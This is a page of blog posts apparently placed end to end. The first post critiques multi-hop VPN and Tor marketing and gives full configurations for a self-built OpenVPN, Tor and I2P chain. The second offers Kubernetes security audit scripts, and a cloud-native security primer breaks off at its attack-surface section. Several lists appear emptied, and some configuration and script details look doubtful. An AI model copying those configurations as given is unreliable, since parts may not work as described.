A technical analysis of multi-hop VPNs, Tor, and I2P configurations

The VPN market is saturated with providers promising ironclad security and absolute anonymity. Among the most aggressively marketed products are multi-hop VPNs — sold under names like DoubleVPN, TripleVPN, or the increasingly grandiose XhopVPN, 2XhopVPN, and X^YhopVPN.

More recent offerings bundle even more complexity: XhopVPN + Tor + “Super Duper Anonymous” packages that combine a VPN, Tor access, and remote desktop services — all marketed as ultimate privacy.

Key point: These products are marketed as impenetrable fortresses of online privacy. In practice, they deliver slower connections, an increased attack surface, and in many cases less security than a well-configured single-hop VPN from a reputable provider.

These are legitimate network architectures — but they are systematically oversold and misrepresented to consumers who pay a premium for complexity they don’t need.

Core Technical Problems

Increased Attack Surface

Every additional server in the chain is an additional point of failure. More components means:

• More servers to trust — each one is a potential breach or legal vulnerability
• More complex routing — harder to configure, audit, and secure
• Greater exposure — if one hop is compromised, the entire chain weakens

Single Provider Trust Concentration

When a single vendor controls your VPN, your Tor access, and your remote desktop, you have not gained privacy — you have centralized all trust into one entity.

A breach of their systems, or a legal compulsion order, exposes everything at once. The “multi-hop” architecture becomes meaningless if all hops are controlled by the same organization.

The Encryption Myth

Vendors often claim that encrypting your data multiple times provides proportionally stronger protection. This is technically misleading.

OpenVPN’s AES-256 encryption is already computationally infeasible to brute-force. Layering it does not add meaningful cryptographic strength — it only adds overhead and latency. Furthermore, sophisticated adversaries with resources to monitor multiple network points can still use traffic correlation attacks to de-anonymize users regardless of hop count.

Performance Degradation

Each additional hop adds:

The result is a painfully slow connection that undermines the legitimate use cases for which people purchase VPNs in the first place.

OpenVPN + Tor: Technical Analysis

When VPN Over Tor May Help

There is one narrow scenario where combining a VPN with Tor provides a marginal benefit:

• Non-HTTPS sites via Tor: A malicious Tor exit relay could read unencrypted HTTP traffic. A VPN layer would encrypt it in transit.

Context: HTTPS adoption is now extremely widespread. This edge case is rarely relevant in modern browsing. For HTTPS destinations, the VPN layer adds nothing to confidentiality — traffic is already encrypted end-to-end between your browser and the server.

Why OpenVPN + Tor Is Usually Counterproductive

The more common configuration actually introduces new problems. Each issue below is not a theoretical edge case — it is a predictable, structural consequence of how these two systems interact at the protocol level.

Problem 1: Your VPN Provider Becomes Your Tor Entry Point

Tor’s anonymity model assumes that no single party can observe both ends of your connection. The guard node (first Tor relay) only knows your IP. The exit node only knows the destination. Neither knows both. This separation is foundational.

When you tunnel Tor through a VPN, your VPN provider sees:

• Your real IP address
• The fact that you are connecting to a Tor guard node
• The timing and volume of your Tor traffic

They cannot see what’s inside the Tor circuit, but that doesn’t matter for entry/exit correlation attacks. Your VPN provider has effectively become an always-on observer at the entry point of your Tor usage — a single entity that could be subpoenaed, hacked, or simply compelled to log. Tor’s decentralized guard node rotation is now irrelevant, because one chokepoint can see all your Tor connections.

This is precisely the threat model Tor’s guard node system was designed to defend against. You have re-introduced it by choice.

Problem 2: Trust Is Shifted in the Wrong Direction

Tor’s threat model is built on distributed distrust — no single relay needs to be trusted because each relay only sees a fragment of the picture. When you add a VPN in front:

• You now have a single centralized party (your VPN provider) who knows you use Tor, when you use it, and for how long
• If that provider is compromised or coerced, all your Tor sessions are linkable to your identity
• A malicious VPN provider can perform timing correlation on your entry/exit traffic without ever breaking Tor’s encryption

Tor’s guard node system already provides persistent first-hop protection. Replacing it with a commercial VPN provider — who operates under a jurisdiction, has financial incentives, and may be subject to legal pressure — is a security downgrade, not an upgrade.

Problem 3: Traffic Correlation and Timing Attacks

Even without breaking encryption, a sufficiently resourced adversary can de-anonymize Tor users through end-to-end traffic correlation: observing traffic patterns at the entry and exit simultaneously. This is a known limitation of Tor.

Adding a VPN does not help here — it makes things worse:

• Your VPN provider sees all your Tor entry traffic with precise timestamps
• An adversary who compromises or subpoenas your VPN provider now has one centralized log of all your Tor session timings, instead of having to coordinate across multiple independent guard nodes
• The attack surface for correlation shifts from “monitor multiple Tor relays” (hard) to “obtain records from one VPN provider” (comparatively easy)

The decentralization that makes Tor resilient against correlation attacks is exactly what you eliminate when you funnel everything through a single VPN.

Problem 4: DNS Leak Vectors

DNS is one of the most common and overlooked anonymity failure points. In a properly configured Tor setup, the Tor client handles all DNS resolution internally — DNS queries never leave the Tor network and are resolved by the exit relay. This is correct behavior.

When OpenVPN is layered on top, several misconfiguration paths create leaks:

Scenario A — Conflicting DNS servers: Your OpenVPN client pushes its own DNS servers (e.g. 8.8.8.8). If your OS or application resolves DNS through those pushed servers before the Tor client intercepts the query, the DNS request bypasses Tor entirely and is visible to your ISP or the VPN provider’s DNS resolver.

Scenario B — Split tunnel DNS: If your VPN is not configured with redirect-gateway def1, or if there is a routing table conflict, some traffic (including DNS) may use the default gateway — sending queries in cleartext outside both the VPN tunnel and Tor.

Scenario C — Application-level DNS bypass: Some applications (notably those using their own DNS stacks, or DNS-over-HTTPS with hardcoded resolvers) will bypass the system resolver entirely. In a VPN+Tor setup, these application-level queries are particularly difficult to intercept and redirect correctly.

Scenario D — IPv6 leaks: OpenVPN by default may not block IPv6. If your system has IPv6 connectivity and your VPN does not explicitly block or tunnel it, IPv6 DNS queries and connections will bypass the VPN tunnel and Tor entirely — often going directly to your ISP.

To fully prevent these leaks, you need to:

# Block all IPv6 to prevent bypass
sudo ip6tables -P INPUT DROP
sudo ip6tables -P OUTPUT DROP
sudo ip6tables -P FORWARD DROP

# Ensure all DNS is forced through the VPN tunnel
# In OpenVPN config:
# push "dhcp-option DNS <vpn-internal-dns>"
# push "block-outside-dns"   ← Windows only; Linux needs iptables

# Force DNS through Tor on Linux (after VPN tunnel is up)
sudo iptables -t nat -A OUTPUT -p udp --dport 53 -j REDIRECT --to-ports 5353
# (where 5353 is Tor's DNSPort)

Most users combining OpenVPN and Tor do not configure all of this correctly, and leak DNS queries as a result.

Problem 5: Traffic Fingerprinting

Tor traffic already has a recognizable pattern — fixed cell sizes (512 bytes), characteristic timing, and TLS fingerprints from the Tor TLS handshake. Deep Packet Inspection (DPI) systems can identify Tor traffic with high confidence even when it is obfuscated.

OpenVPN adds its own distinct layer on top:

• OpenVPN has identifiable TLS handshake patterns (specific cipher suite negotiation, certificate format, packet timing)
• The combination of an OpenVPN envelope containing Tor-shaped traffic produces a traffic profile that is potentially more unique than either alone
• Some DPI systems specifically look for the pattern of “OpenVPN tunnel → Tor-like encrypted payload” as an indicator of sophisticated evasion — which can itself attract scrutiny

If your goal is to hide the fact that you are using Tor from your ISP, using OpenVPN as an obfuscation layer is not a reliable method. Tor’s own pluggable transports (obfs4, Snowflake, meek) are purpose-built for this and far more effective, because they are specifically designed to defeat the DPI systems that identify Tor.

If you need to hide Tor usage from your ISP, use a Tor bridge with obfs4 or Snowflake — not a commercial VPN.

Problem 6: Compounded Latency and the Practical Unusability Problem

Tor already introduces significant latency by design. Each circuit uses three relays, each performing public-key cryptography for circuit construction and symmetric encryption for every cell in both directions. Typical Tor latency for a full round-trip is 200–500 ms under normal conditions, and much higher under load.

OpenVPN adds its own overhead on top:

At these latencies, interactive use (web browsing, HTTPS APIs, anything that requires multiple sequential round-trips) becomes painful. Page loads that require 20–30 sequential HTTP requests can take 30–60 seconds. Streaming is effectively impossible. Video calls are non-functional.

The practical result is that users compromise their setup. Faced with an unusable connection, users typically:

1. Disable the VPN and use Tor alone (the correct setup to begin with)
2. Disable Tor and use only the VPN (losing anonymity entirely)
3. Use neither for sensitive activities (defeating the entire purpose)

The complexity of the combined setup does not just fail technically — it fails behaviorally by making secure usage so inconvenient that users route around it.

Problem 7: Redundant Encryption Providing No Real Benefit

A common justification for the VPN+Tor combination is that it provides “extra encryption.” This is true in a narrow technical sense and irrelevant in practice.

Tor already uses layered public-key and symmetric encryption:

• Circuit construction uses ECDH (ntor protocol) for key exchange with each of the three relays
• Data is encrypted with AES-128-CTR for each layer (three independent encryption layers)
• Each relay peels one layer; no relay sees both the source and the plaintext destination

Adding AES-256-CBC (OpenVPN’s default) on the outside of three nested AES-128-CTR layers provides zero additional protection against any realistic adversary. No adversary breaking Tor-protected traffic is doing so by cryptanalyzing AES. They are using:

• Traffic correlation (not stopped by more encryption)
• Legal compulsion (not stopped by more encryption)
• Endpoint compromise (not stopped by more encryption)
• Browser fingerprinting (not stopped by more encryption)

The extra encryption layer addresses none of the actual attack vectors. It is security theater.

Summary

From a strict anonymity perspective, adding OpenVPN to Tor provides no discernible benefit against any realistic threat model. Tor’s layered encryption and decentralized routing already handle what OpenVPN attempts to add. Instead of enhancing security, the combination introduces unnecessary complexity, degrades performance to the point of practical unusability, and in several respects actively weakens the anonymity guarantees that Tor was designed to provide.

VPN + I2P Configurations

VPN Into I2P (VPN → I2P)

Your VPN server becomes the entry point into the I2P network. The VPN provider knows you are using I2P, but cannot see the encrypted I2P traffic content. I2P destinations still only see traffic originating from within the I2P network.

The only marginal benefit is hiding I2P usage from your ISP — at the cost of introducing your VPN provider as an additional trust party.

I2P Into VPN (I2P → VPN)

Traffic passes through I2P before reaching your VPN server. This configuration has no clear anonymity benefit and exposes you to I2P network vulnerabilities without corresponding gains. It is unclear what threat model this addresses.

Performance Impact

I2P, like Tor, is already significantly slower than direct connections due to its own multi-hop routing and encryption. Adding a VPN compounds this:

• OpenVPN — significant additional overhead from TLS handshake and per-packet processing
• WireGuard — smaller overhead than OpenVPN, but the improvement is minimal in this context

Recommendation: In most cases, I2P alone is sufficient for anonymous communication within the I2P network. Adding a VPN is unlikely to provide meaningful benefits and may be counterproductive depending on your threat model.

Common Marketing Claims — Fact Check

3-Hop VPN + Tor

Purpose: The following is provided for educational purposes only — to understand the underlying architecture. You do not need to pay a vendor for this. You can build it yourself on commodity VPS instances.

Architecture Overview

Client (You)
  └─── Server A  (OpenVPN, port 1194)
         └─── Server B  (OpenVPN, port 1195)
                └─── Server C  (OpenVPN, port 1196)
                       └─── Tor Network ──► Internet

Server Addressing Reference

Server A

Step 1 — Install OpenVPN and Generate Certificates

cd /usr/share/easy-rsa/
./easyrsa init-pki
./easyrsa build-ca nopass
./easyrsa build-server-full serverA nopass
./easyrsa gen-dh
./easyrsa build-client-full serverB nopass   # cert for Server B's client connection
./easyrsa build-client-full client nopass    # cert for end-user client
openvpn --genkey secret pki/ta.key

Step 2 — Copy Keys to Correct Locations

# Server keys
sudo cp pki/ca.crt pki/issued/serverA.crt pki/private/serverA.key \
        pki/dh.pem pki/ta.key /etc/openvpn/server/

# Keys Server B will need (transfer securely)
sudo cp pki/issued/serverB.crt pki/private/serverB.key \
        pki/ca.crt /etc/openvpn/client/

# Keys end-user client will need (transfer securely)
mkdir /root/client-configs
sudo cp pki/ca.crt pki/issued/client.crt pki/private/client.key \
        pki/ta.key /root/client-configs/

Step 3 — serverA.conf

port 1194
proto udp
dev tun
ca   ca.crt
cert serverA.crt
key  serverA.key
dh   dh.pem

server 10.8.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt

push "redirect-gateway def1 bypass-dhcp"
push "dhcp-option DNS 8.8.8.8"
push "dhcp-option DNS 8.8.4.4"
push "route 192.168.2.0 255.255.255.0"   # Route traffic toward Server B's network

client-to-client
keepalive 10 120
tls-auth ta.key 0
cipher AES-256-CBC
persist-key
persist-tun
status openvpn-status.log
verb 3
explicit-exit-notify 1

Step 4 — Enable IP Forwarding and Start Service

sudo sysctl -w net.ipv4.ip_forward=1
echo "net.ipv4.ip_forward=1" | sudo tee -a /etc/sysctl.conf

sudo systemctl start  openvpn-server@serverA
sudo systemctl enable openvpn-server@serverA

Server B

Step 1 — Generate Certificates

cd /usr/share/easy-rsa/
./easyrsa init-pki
./easyrsa build-ca nopass
./easyrsa build-server-full serverB nopass
./easyrsa gen-dh
./easyrsa build-client-full serverC nopass   # cert for Server C's client connection
openvpn --genkey secret pki/ta.key

Step 2 — serverB.conf

port 1195
proto udp
dev tun
ca   ca.crt
cert serverB.crt
key  serverB.key
dh   dh.pem

server 10.9.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt

push "redirect-gateway def1 bypass-dhcp"
push "dhcp-option DNS 8.8.8.8"
push "dhcp-option DNS 8.8.4.4"
push "route 192.168.3.0 255.255.255.0"   # Route traffic toward Server C's network

client-to-client
keepalive 10 120
tls-auth ta.key 0
cipher AES-256-CBC
persist-key
persist-tun
status openvpn-status.log
verb 3
explicit-exit-notify 1

Step 3 — clientA.conf (Server B connects upstream to Server A)

client
dev tun
proto udp
remote YOUR_SERVER_A_PUBLIC_IP 1194

resolv-retry infinite
nobind
persist-key
persist-tun

ca   ca.crt
cert serverB.crt
key  serverB.key

remote-cert-tls server
tls-auth ta.key 1
cipher AES-256-CBC
verb 3

Step 4 — Enable Forwarding and Start Services

sudo sysctl -w net.ipv4.ip_forward=1
echo "net.ipv4.ip_forward=1" | sudo tee -a /etc/sysctl.conf

sudo systemctl start  openvpn-server@serverB && sudo systemctl enable openvpn-server@serverB
sudo systemctl start  openvpn-client@clientA && sudo systemctl enable openvpn-client@clientA

Server C (OpenVPN + Tor)

Step 1 — Generate Certificates

cd /usr/share/easy-rsa/
./easyrsa init-pki
./easyrsa build-ca nopass
./easyrsa build-server-full serverC nopass
./easyrsa gen-dh
openvpn --genkey secret pki/ta.key

Step 2 — serverC.conf

port 1196
proto udp
dev tun
ca   ca.crt
cert serverC.crt
key  serverC.key
dh   dh.pem

server 10.10.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt

push "redirect-gateway def1 bypass-dhcp"
push "dhcp-option DNS 8.8.8.8"
push "dhcp-option DNS 8.8.4.4"

client-to-client
keepalive 10 120
tls-auth ta.key 0
cipher AES-256-CBC
persist-key
persist-tun
status openvpn-status.log
verb 3
explicit-exit-notify 1

Step 3 — clientB.conf (Server C connects upstream to Server B)

client
dev tun
proto udp
remote YOUR_SERVER_B_PUBLIC_IP 1195

resolv-retry infinite
nobind
persist-key
persist-tun

ca   ca.crt
cert serverC.crt
key  serverC.key

remote-cert-tls server
tls-auth ta.key 1
cipher AES-256-CBC
verb 3

Step 4 — Configure Tor

Append to /etc/tor/torrc:

VirtualAddrNetworkIPv4 10.192.0.0/10
AutomapHostsOnResolve 1
TransPort 9040
TransListenAddress 192.168.3.1
DNSPort 53
DNSListenAddress 192.168.3.1

Step 5 — iptables Rules for Tor

# Accept Tor transparent proxy and DNS traffic from the VPN tunnel
sudo iptables -A INPUT -i tun+ -p tcp --dport 9040 -j ACCEPT
sudo iptables -A INPUT -i tun+ -p udp --dport 53  -j ACCEPT

# Redirect all TCP from the tunnel through Tor's transparent proxy
sudo iptables -t nat -A PREROUTING -i tun+ -p tcp -j REDIRECT --to-ports 9040

# Redirect DNS queries to Tor's DNS listener
sudo iptables -t nat -A PREROUTING -i tun+ -p udp --dport 53 -j REDIRECT --to-ports 53

Step 6 — Start All Services

sudo systemctl start  openvpn-server@serverC && sudo systemctl enable openvpn-server@serverC
sudo systemctl start  openvpn-client@clientB && sudo systemctl enable openvpn-client@clientB
sudo systemctl start  tor                    && sudo systemctl enable tor

Server C Variant: I2P Instead of Tor

Install and Start I2P

sudo apt install i2p
sudo systemctl start  i2p
sudo systemctl enable i2p

iptables Rules for I2P

# Flush existing NAT rules
sudo iptables -t nat -F

# Accept I2P HTTP and HTTPS proxy traffic
sudo iptables -A INPUT -i tun+ -p tcp --dport 4444 -j ACCEPT
sudo iptables -A INPUT -i tun+ -p tcp --dport 4445 -j ACCEPT

# Redirect HTTP  → I2P HTTP proxy (port 4444)
sudo iptables -t nat -A PREROUTING -i tun+ -p tcp --dport 80  -j REDIRECT --to-ports 4444

# Redirect HTTPS → I2P HTTPS proxy (port 4445)
sudo iptables -t nat -A PREROUTING -i tun+ -p tcp --dport 443 -j REDIRECT --to-ports 4445

Append to serverC.conf for I2P

# I2P HTTP proxy settings
http-proxy 127.0.0.1 4444
http-proxy-option CUSTOM-HEADER "X-Forwarded-For: 0.0.0.0"

# Optional: specify a custom I2P outproxy for clearnet access
# http-proxy <outproxy_address> <outproxy_port>

sudo systemctl restart openvpn-server@serverC

Client Configuration

Required Files (transfer securely from Server A)

client.conf

client
dev tun
proto udp
remote YOUR_SERVER_A_PUBLIC_IP 1194

resolv-retry infinite
nobind
persist-key
persist-tun

ca   ca.crt
cert client.crt
key  client.key

remote-cert-tls server
tls-auth ta.key 1
cipher AES-256-CBC
verb 3

Verify the Routing Chain

After connecting, run a traceroute to confirm traffic is flowing through all three hops before exiting to the internet (or Tor):

traceroute google.com

You should see three private/VPN IP addresses in the output before public internet hops appear.

Conclusion

Multi-hop VPNs are not inherently fraudulent — they are real network architectures. However, as sold by most commercial vendors, they are aggressively over-marketed products that deliver disproportionately little benefit for their cost.

Key takeaways:

• Extra hops ≠ proportionally more security. AES-256 is already unbreakable; stacking it adds complexity, not protection.
• Single-provider bundles undermine the whole point. Multi-hop only means something if the hops are independently controlled by different organizations.
• VPN + Tor is rarely better than Tor alone for anonymity, and introduces new risks if misconfigured.
• Define your threat model first. Know what you’re protecting against before architecting a solution.
• You can build this yourself on inexpensive VPS instances — no premium vendor required.

If you genuinely need strong anonymity, use the Tor Browser directly. If you need privacy from your ISP, a single reputable no-logs VPN is sufficient. The space between these two use cases rarely justifies a commercial XhopVPN product.

  Photo by [Tony Wan](https://unsplash.com/@tony_wanli) on Unsplash.

Shell scripting is one of the most practical tools in a platform engineer’s security toolkit. In this post, we’ll walk through how to use Bash (and compare it with PowerShell) to enforce container security policies, automate compliance checks, and harden your Kubernetes environment.

Why Shell Scripting for Kubernetes Security?

Kubernetes provides several native security mechanisms out of the box:

• Network Policies – Restrict pod-to-pod and pod-to-external traffic
• Pod Security Admission (PSA) – Enforce security standards at the namespace level
• RBAC – Control who can do what within the cluster
• Secrets Management – Store and inject sensitive data securely

However, these tools are building blocks — not a complete security solution. Organizations often need custom enforcement logic that reflects their specific threat models, compliance requirements (PCI-DSS, SOC 2, HIPAA), or internal platform standards.

Shell scripting bridges that gap by allowing you to:

• Automate repetitive security audits across namespaces and clusters
• Enforce policies declaratively without deploying additional tooling
• Reduce human error through consistent, testable scripts
• Integrate with CI/CD pipelines to catch misconfigurations before they reach production

Prerequisites

Before diving in, make sure you have the following:

• A working Kubernetes cluster (local via minikube/kind or remote)
• kubectl installed and configured with appropriate permissions
• Basic familiarity with Bash scripting
• jq installed for JSON parsing (apt install jq or brew install jq)
• (Optional) PowerShell 7+ for cross-platform PowerShell scripts

Bash Scripts for Kubernetes Security

1. Enforce the Latest Container Image Version

Running outdated container images is one of the most common sources of known vulnerabilities. The script below checks all pods in a given namespace and updates any container that isn’t using the latest tagged version from Docker Hub.

#!/bin/bash
# enforce-latest-image.sh
# Ensures all pods in a namespace use the latest tag of a specified image.

set -euo pipefail

NAMESPACE="${1:-default}"
IMAGE="${2:-nginx}"

echo "[*] Fetching latest tag for image: $IMAGE"
LATEST_TAG=$(curl -s "https://registry.hub.docker.com/v1/repositories/${IMAGE}/tags" \
  | jq -r 'first(.[].name)')

if [[ -z "$LATEST_TAG" ]]; then
  echo "[!] Could not retrieve latest tag for $IMAGE. Exiting."
  exit 1
fi

echo "[*] Latest tag: $LATEST_TAG"

for POD in $(kubectl get pods -n "$NAMESPACE" \
  -o jsonpath='{range .items[*]}{.metadata.name}{"\n"}{end}'); do

  CONTAINER_IMAGE=$(kubectl get pod "$POD" -n "$NAMESPACE" \
    -o jsonpath="{.spec.containers[?(@.name=='${IMAGE}')].image}")

  if [[ "$CONTAINER_IMAGE" != "${IMAGE}:${LATEST_TAG}" ]]; then
    echo "[~] Updating $POD: $CONTAINER_IMAGE -> ${IMAGE}:${LATEST_TAG}"
    kubectl set image "pod/$POD" "${IMAGE}=${IMAGE}:${LATEST_TAG}" -n "$NAMESPACE"
  else
    echo "[✓] $POD is already up to date"
  fi
done

Note: In production, prefer using an image digest (e.g., nginx@sha256:abc123...) instead of a mutable tag like latest. Tags can be overwritten; digests are immutable.

2. Detect Containers Running as Root

Containers running as the root user (UID 0) represent a significant security risk. If an attacker escapes the container, they may inherit root privileges on the host node. The following script audits all running pods and flags any container that lacks a runAsNonRoot: true policy.

#!/bin/bash
# detect-root-containers.sh
# Flags containers that may be running as root.

set -euo pipefail

NAMESPACE="${1:-default}"
FOUND=0

echo "[*] Scanning namespace: $NAMESPACE"

for POD in $(kubectl get pods -n "$NAMESPACE" \
  -o jsonpath='{range .items[*]}{.metadata.name}{"\n"}{end}'); do

  CONTAINERS=$(kubectl get pod "$POD" -n "$NAMESPACE" \
    -o jsonpath='{range .spec.containers[*]}{.name}{"\n"}{end}')

  for CONTAINER in $CONTAINERS; do
    RUN_AS_NON_ROOT=$(kubectl get pod "$POD" -n "$NAMESPACE" \
      -o jsonpath="{.spec.containers[?(@.name=='${CONTAINER}')].securityContext.runAsNonRoot}")
    RUN_AS_USER=$(kubectl get pod "$POD" -n "$NAMESPACE" \
      -o jsonpath="{.spec.containers[?(@.name=='${CONTAINER}')].securityContext.runAsUser}")

    if [[ "$RUN_AS_NON_ROOT" != "true" ]] || [[ "$RUN_AS_USER" == "0" ]]; then
      echo "[!] ALERT: Container '$CONTAINER' in pod '$POD' may be running as root"
      FOUND=$((FOUND + 1))
    fi
  done
done

echo ""
echo "[*] Scan complete. $FOUND potential root container(s) found."

To remediate flagged containers, add a securityContext block to your pod spec:

securityContext:
  runAsNonRoot: true
  runAsUser: 1000
  allowPrivilegeEscalation: false

3. Enforce Pod Security Annotations

While Pod Security Admission (PSA) is the modern approach, many clusters still rely on annotations for compatibility with older tooling. This script ensures all pods in a namespace carry the required seccomp profile annotation.

#!/bin/bash
# enforce-pod-security-policy.sh
# Annotates pods missing a required seccomp security policy.

set -euo pipefail

NAMESPACE="${1:-default}"
POLICY="${2:-runtime/default}"
ANNOTATION_KEY="seccomp.security.alpha.kubernetes.io/pod"

echo "[*] Enforcing seccomp policy '$POLICY' in namespace '$NAMESPACE'"

for POD in $(kubectl get pods -n "$NAMESPACE" \
  -o jsonpath='{range .items[*]}{.metadata.name}{"\n"}{end}'); do

  CURRENT_POLICY=$(kubectl get pod "$POD" -n "$NAMESPACE" \
    -o jsonpath="{.metadata.annotations['${ANNOTATION_KEY}']}" 2>/dev/null || echo "")

  if [[ "$CURRENT_POLICY" != "$POLICY" ]]; then
    echo "[~] Annotating pod '$POD': $ANNOTATION_KEY=$POLICY"
    kubectl annotate pod "$POD" -n "$NAMESPACE" \
      "${ANNOTATION_KEY}=${POLICY}" --overwrite
  else
    echo "[✓] Pod '$POD' already has correct policy"
  fi
done

Heads up: The seccomp.security.alpha.kubernetes.io annotation is deprecated in Kubernetes v1.27+. For modern clusters, use the securityContext.seccompProfile field in your pod spec instead.

4. Audit Pods with Privileged Containers

Privileged containers can access all devices on the host and bypass most security mechanisms. This script lists any pod running a privileged container.

#!/bin/bash
# audit-privileged-containers.sh
# Lists any containers running in privileged mode.

set -euo pipefail

NAMESPACE="${1:---all-namespaces}"
NS_FLAG="-n $NAMESPACE"
[[ "$NAMESPACE" == "--all-namespaces" ]] && NS_FLAG="--all-namespaces"

echo "[*] Auditing privileged containers ($NAMESPACE)..."

kubectl get pods $NS_FLAG -o json | jq -r '
  .items[] |
  .metadata.namespace as $ns |
  .metadata.name as $pod |
  .spec.containers[] |
  select(.securityContext.privileged == true) |
  "[!] PRIVILEGED: \($ns)/\($pod) -> container: \(.name)"
'

Comparing Bash and PowerShell for Kubernetes Security

Bash is the default choice in Linux and macOS environments — and since most Kubernetes nodes run Linux, it’s usually the natural fit. But PowerShell has become a compelling option, especially for teams with a Windows-heavy background or mixed OS environments.

Key Differences at a Glance

PowerShell Example: List All Pods in a Namespace

# list-pods.ps1
$Namespace = "default"
$AllPods = kubectl get pods -n $Namespace -o json | ConvertFrom-Json

foreach ($Pod in $AllPods.items) {
    Write-Host "$($Pod.metadata.namespace)/$($Pod.metadata.name)"
}

Because PowerShell works natively with objects, you skip the jq dependency entirely and can chain property access naturally.

PowerShell Example: Enforce Pod Security Policy via PSKubernetes

The PSKubernetes module wraps kubectl with idiomatic PowerShell cmdlets:

# enforce-security-policy.ps1
Import-Module PSKubernetes

$Namespace = "default"
$Policy    = "runtime/default"
$AnnotationKey = "seccomp.security.alpha.kubernetes.io/pod"

$PodList = Get-KubernetesPod -Namespace $Namespace

foreach ($Pod in $PodList) {
    $CurrentPolicy = $Pod.metadata.annotations.$AnnotationKey

    if ($CurrentPolicy -ne $Policy) {
        Write-Host "[~] Updating $($Pod.metadata.name)"
        Set-KubernetesPod -Namespace $Namespace -Name $Pod.metadata.name `
            -Annotation @{ $AnnotationKey = $Policy }
    } else {
        Write-Host "[✓] $($Pod.metadata.name) already compliant"
    }
}

When to Choose Which

Choose Bash when:

• Your infrastructure runs on Linux-based nodes (most clusters)
• You’re integrating with Unix-native CI tools (GitHub Actions, GitLab CI, Jenkins)
• Your team has strong Unix/Linux fluency
• You want minimal external dependencies

Choose PowerShell when:

• Your team comes from a Windows/Azure background
• You need to integrate Kubernetes security with Windows-based tooling
• You’re managing hybrid Windows/Linux node pools
• You want native object-oriented scripting without jq

Both languages are capable. The best choice is typically the one your team will actually maintain.

Security Best Practices When Writing These Scripts

Regardless of which shell you choose, keep the following practices in mind:

1. Use set -euo pipefail in Bash — This ensures your script exits on any error and treats unset variables as failures.
2. Avoid hardcoded credentials — Use Kubernetes ServiceAccounts with minimal RBAC permissions instead of embedding kubeconfig credentials in scripts.
3. Parameterize your scripts — Accept namespace and policy values as arguments rather than hardcoding them. This makes scripts reusable and testable.
4. Log all changes — Append script output to an audit log so you have a record of what was modified and when.
5. Test in a non-production namespace first — Even simple kubectl set image or kubectl annotate commands can have unintended side effects on running workloads.
6. Pin image versions by digest, not tag — Tags are mutable. Digests (image@sha256:...) guarantee you’re running exactly the image you audited.
7. Integrate with your CI/CD pipeline — Run security audit scripts as a post-deploy gate to catch policy drift before it accumulates.

Going Further: Beyond Shell Scripts

Shell scripts are an excellent starting point, but as your security requirements grow, you may want to explore purpose-built Kubernetes security tools:

• Kyverno — A Kubernetes-native policy engine that enforces policies as Kubernetes resources (no scripting required)
• OPA/Gatekeeper — Open Policy Agent integration for fine-grained admission control
• Falco — Runtime threat detection for containers and Kubernetes
• Trivy — Vulnerability scanning for container images, which you can invoke directly from shell scripts
• kube-bench — Checks your cluster configuration against CIS Kubernetes Benchmarks

Shell scripting and dedicated tools aren’t mutually exclusive — you can script the invocation of trivy or kube-bench as part of a broader security automation pipeline.

Conclusion

Shell scripting is a powerful and accessible way to extend Kubernetes security beyond its defaults. With a few well-crafted Bash or PowerShell scripts, you can detect misconfigurations, enforce organizational policies, and automate compliance checks across your entire cluster fleet.

The key is to treat your security scripts like any other code: version-control them, test them, review them, and iterate on them as your security posture matures. Start with the examples above, adapt them to your environment, and progressively move toward policy-as-code tools as your needs scale.

Photo by Brandon Jaramillo on Unsplash.

Table of Contents

• What is Cloud-Native Security?
• Cloud-Native Security 4C Model
• Build-Deploy-Run Security Model
• Attack Lifecycle Perspective
• Container Attack Surface
• Container Environment Detection
• Container Escape Techniques
• Docker Escape via Misconfiguration
• High-Risk Docker Startup Parameters
• Dangerous Mount Scenarios
• CVE-Based Container Escapes
• Kubernetes Security
• Defensive Best Practices

What is Cloud-Native Security?

Cloud-native is both a technology system and a methodology. The term combines two concepts: Cloud, indicating that the application runs in the cloud rather than in a traditional on-premises data center, and Native, meaning the application was designed from the ground up to operate in a cloud environment — leveraging elasticity, scalability, and distributed architecture from day one.

Cloud-native representative technologies include:

Cloud-native security extends traditional security thinking to cover these new primitives. Because the perimeter has dissolved and services are ephemeral, security must be embedded at every layer — not bolted on afterward.

Cloud-Native Security 4C Model

Cloud-native security is best understood as a layered model. The 4C framework defines four nested security domains:

1. Cloud — The underlying infrastructure provider (AWS, GCP, Azure, on-prem)
2. Cluster — The Kubernetes cluster and its configuration
3. Container — The container runtime, images, and configurations
4. Code — The application code and its dependencies

Image from Cisco blog

Each layer builds on the security of the layer beneath it. Strong code-level security cannot compensate for a weak infrastructure layer. If your cloud or cluster layer has critical misconfigurations, no amount of application-level hardening will fully protect you.

Layer Breakdown

Cloud Layer responsibilities include:

• IAM policies and least-privilege access
• Network segmentation and firewall rules
• Data encryption at rest and in transit
• Audit logging and monitoring

Cluster Layer responsibilities include:

• Kubernetes RBAC (Role-Based Access Control)
• Network Policies between pods
• Secrets management (e.g., Vault, sealed-secrets)
• Admission controllers (OPA/Gatekeeper, Kyverno)

Container Layer responsibilities include:

• Using minimal base images (distroless, Alpine)
• Image scanning for CVEs before deployment
• Non-root user inside containers
• Read-only root filesystems

Code Layer responsibilities include:

• Dependency scanning (SAST/SCA)
• Secrets detection in source code
• Secure coding practices
• Runtime Application Self-Protection (RASP)

Build-Deploy-Run Security Model

A complementary way to organize security is across the software delivery lifecycle:

Build Security

Security checks applied when building container images:

• Dockerfile linting — Enforce rules (e.g., no latest tags, no ADD for remote URLs, USER directive required)
• Suspicious files — Detect shells, credential files, or sensitive data baked into images
• Sensitive permissions — Flag images requesting unnecessary Linux capabilities
• Sensitive ports — Flag exposure of privileged ports (< 1024)
• Base image vulnerability scanning — Scan OS packages using Trivy, Grype, or Snyk
• Business software CVEs — Scan application dependencies (pip, npm, Maven, etc.)
• Signing and attestation — Sign images with Cosign and enforce supply chain policies

Deployment Security (Kubernetes)

• Enforce Pod Security Standards (Baseline or Restricted profiles)
• Use Admission Controllers to block non-compliant workloads
• Apply Network Policies to restrict pod-to-pod communication
• Rotate and tightly scope Service Account tokens
• Use resource limits to prevent noisy-neighbor or DoS scenarios
• Ensure images are pulled from trusted, private registries

Runtime Security

• HIDS (Host Intrusion Detection Systems) — Monitor system call activity (e.g., Falco)
• Behavioral anomaly detection — Alert on unexpected process execution or file access
• Seccomp profiles — Restrict available syscalls to the minimum required
• AppArmor / SELinux — Mandatory access control for container processes
• Audit logging — Capture and ship Kubernetes audit logs to a SIEM

Attack Lifecycle Perspective

Container Attack Surface

